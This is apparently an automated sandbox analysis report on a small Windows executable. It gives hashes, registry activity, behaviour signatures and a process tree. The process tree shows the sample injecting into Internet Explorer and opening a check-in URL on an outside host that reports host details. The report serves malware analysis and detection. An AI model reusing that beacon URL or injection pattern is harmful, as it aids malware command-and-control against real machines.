Analysis
- max time kernel
149s - max time network
136s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
25/09/2026, 22:39
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
jaffacakes118_e3cb415372532549cd8b5585f07234a100343911fb2e1ff52126a68ceb0a9467.exe
Resource
win10v2004-20260911-en
6 signatures
150 seconds
General
- Target jaffacakes118_e3cb415372532549cd8b5585f07234a100343911fb2e1ff52126a68ceb0a9467.exe
- Size 68KB
- Sample260925-2k589aaa76
- SHA256 e3cb415372532549cd8b5585f07234a100343911fb2e1ff52126a68ceb0a9467
- MD5 e1005002adf774e077ac9ce9fbc6d949
- SHA1 1427d5e94b8e93eee0e73722c680a3e9e345e31b
- SHA512 2eeeedf59458bb3ec5d3bd16428d2379a7ff2514baed0617d72b2db36fc30243e6080ffa8c787111a50441f07aef9994f69f7b90a3d6640e7e392a2aac802ac3
- SSDEEP 1536:X9QUP3R1NHHK16pTzvMRaOU4kNeZpZublG4m9JirXD9yV6VTecgsCE06mZtOXAS/:C2rNn86pTrWQKqedZ4p
- TLSH T1BB638AD0C3044C78F84E12F04EB0FEB589BDCFB2965C6E47BAA6E1DC9134995FA24825
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language jaffacakes118_e3cb415372532549cd8b5585f07234a100343911fb2e1ff52126a68ceb0a9467.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language IEXPLORE.EXE -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 50670746474ddd01 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\VersionManager iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "3805697900" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "497140982" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000008c470352768de4f8d8c4585f44eae55000000000200000000001066000000010000200000001f180e21bfa94bb2f02143f30063cb35a5eb2f17ce247cc4c552a95bd9a57164000000000e8000000002000020000000dfeaa3de8575d1d865944a93efb6ef135796cd1dc90a55cacaf9501fc21ab63f20000000b535353f841969bd178158a97eda2abb03126efe9056824572c55be57322488940000000fefe03c32231f4bb504b321e97c14669677c4132bf20fce672699f701e45928e0c6e59c7eabfe52030b60eff15a13c5cfcc98ead32df603a1d4dba85eb00861f iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "3813510289" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 8036f945474ddd01 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31280446" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\VersionManager IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31280446" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{0DFA5A83-B932-11F1-895E-CEB19BEEF4E1} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000008c470352768de4f8d8c4585f44eae5500000000020000000000106600000001000020000000e2a22436665f1611c942a8759f2c57d2099d65b4247ded0af80da7ebfaed83ce000000000e8000000002000020000000c6adda036b3c5fc59e3c38bdcac3b5ac72b8361198858768d09d79c65bda00d3200000002f4bc903313771d5b976d2bb211e8567f0648c86045cffca2403caf6ae1e1954400000001b37007d7e1d19f48dca3daa746c5ba38bc2d6e877d01cdf52157b3f39fdf12082576d28c972f97bb54668fe3fa401e872c96769dbe469f22b5016ecef66808c iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe - Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 3328 jaffacakes118_e3cb415372532549cd8b5585f07234a100343911fb2e1ff52126a68ceb0a9467.exe 3328 jaffacakes118_e3cb415372532549cd8b5585f07234a100343911fb2e1ff52126a68ceb0a9467.exe 3328 jaffacakes118_e3cb415372532549cd8b5585f07234a100343911fb2e1ff52126a68ceb0a9467.exe 3328 jaffacakes118_e3cb415372532549cd8b5585f07234a100343911fb2e1ff52126a68ceb0a9467.exe - Suspicious use of FindShellTrayWindow 8 IoCs
pid Process 4592 iexplore.exe 4592 iexplore.exe 4592 iexplore.exe 4592 iexplore.exe 4592 iexplore.exe 4592 iexplore.exe 4592 iexplore.exe 4592 iexplore.exe - Suspicious use of SetWindowsHookEx 4 IoCs
pid Process 4592 iexplore.exe 4592 iexplore.exe 1712 IEXPLORE.EXE 1712 IEXPLORE.EXE - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3328 wrote to memory of 4592 3328 jaffacakes118_e3cb415372532549cd8b5585f07234a100343911fb2e1ff52126a68ceb0a9467.exe 104 PID 4592 wrote to memory of 1712 4592 iexplore.exe 105
Processes
-
C:\Users\Admin\AppData\Local\Temp\jaffacakes118_e3cb415372532549cd8b5585f07234a100343911fb2e1ff52126a68ceb0a9467.exe"C:\Users\Admin\AppData\Local\Temp\jaffacakes118_e3cb415372532549cd8b5585f07234a100343911fb2e1ff52126a68ceb0a9467.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3328 -
\??\c:\program files\internet explorer\iexplore.exeiexplore.exe http://a.whataboutarabit.com/116/checkin.php?cid=9&aid=1&time=C:\Users\Admin\AppData\Local\Temp\\1790376006.dat&fw=64&v=116&m=0&vm=02⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4592 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4592 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1712
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
- Size 471B
- SHA256 1153549cf33040b7d8b0b0c1c58d08a93d0ffd3afa72303a2b60c3884677c7e9
- MD5 b9a125dffe5376cfec4091749295b001
- SHA1 611b2ab26efd066281f2d6352c4cfa985bf82fab
- SHA512 92f27f7c9f5634057e8726508c1d389667f9e1d435a98eb92d6932d5ef510df07c606c4028f4fdbb1b354de5ef2e346bd631d32fba4c2ccd4081e3f4be6b3995
- TLSH T106F0DC62717DBCD2BF9384CC26A85E7E3830ECEB5CD0C391A179C7E006E53592A66479
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
- Size 416B
- SHA256 adeaf9a1c13ed637a9984d2098c9043d1f51fc7398de4eddece330dab11868ef
- MD5 c7daf228607281553134eca03a9b93ae
- SHA1 8c444d2953e70afe4f63aa37590d17ed2b7d33d8
- SHA512 e107c9e9357cad6948707dc4df458522051f37bcce6a67995b50d6225a825b328b3a1d846dc49ea30e3bd60f4bb349131675101e54d72fc7af34ae5a5f293d41
- TLSH T179E0682416FA411FE5A9E4754BCAF822496DF0371428D3B42AC49B08AA02A009C02A29
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\T8UIQK7Y\suggestions[1].en-US
- Size 17KB
- SHA256 c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad
- MD5 5a34cb996293fde2cb7a4ac89587393a
- SHA1 3c96c993500690d1a77873cd62bc639b3a10653f
- SHA512 e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee
- SSDEEP 384:K4gN8sGygaEKfWYSJUKbO7UckxtBjCdY7mO3D0C5l+piEieDSV126ry1/XSGKwG3:K4gNFXiKfWfJ1Kockxbd7mAt5Mp5ie2F
- TLSH T13A823E4E61D88F57EA47B6B2D9084EA702E0C8794716DB93D62CFE63CDE33B25D02161
- MD5 SHA1 SHA512 SSDEEP TLSH